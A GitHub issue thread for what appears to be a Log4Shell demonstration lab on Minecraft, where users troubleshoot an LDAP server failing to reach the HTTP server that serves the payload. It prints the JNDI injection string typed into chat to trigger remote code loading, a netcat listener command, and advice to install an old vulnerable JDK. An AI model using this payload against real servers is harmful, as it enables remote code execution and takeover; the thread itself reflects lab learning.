davidbombal/log4jminecraft

ldap server can't reach http server

ItsVaidas opened this issue · 11 comments

ItsVaidas commented

image

image

ldap and http are on the same server. I can access http server cia the web (it shows all files and I can download them), but ldap connections doesn't make it to the http.

Writing in chat:
${jndi:ldap://xxx.xxx.xxx.xxx:1389/Log4jRCE}
gives to the console:
image

Carlos17Kopra commented

I have exactly the same Problem in my Machine.

realspinelle commented

wrong server java version

jj15warrior commented

i have the same issue, running both minecraft, ldap and http servers on the same manjaro linux machine with openjdk-8
what should i do?

Carlos17Kopra commented

wrong server java version

I am currently running Java 8 on my machine.

UltimateCraftDiscord commented

Its patched for all versions since 1.12.2

YoyoDavelion commented

same error 4 me

silvi6 commented

Same, if anyone knows how to fix it. Type it here please. Thanks :)

davidbombal commented

Please refer to the following guide: https://www.dropbox.com/s/f0leevpga4eburp/Minecraft%20Windows%2011%20setup.pdf?dl=0 . This is the version of the JDK you want to install -> https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-windows-x64.exe

Let me know if you came right and I will close this. Make sure you have the correct JDK version on the Windows side.

ItsVaidas commented

So this attack would only work if the minecraft server has 8u181 jdk?
Because if yes, this sounds a bit useless on the new versions, because spigot requires to have at least java 11 (later on even higher) to run.
Still a great tutorial and learned a lot by checking the code.

ldap and http server is on the same machine with 8u181 jdk, only the minecraft server was on GraalVM 11 1.17.1 version (still with Log4j exploit).
Running nc -lnvp 8888 and then '${jndi:ldap://xxx.xxx.xxx.xxx:1389/Log4jRCE}' shows a request was made. Only ldap doesn't work.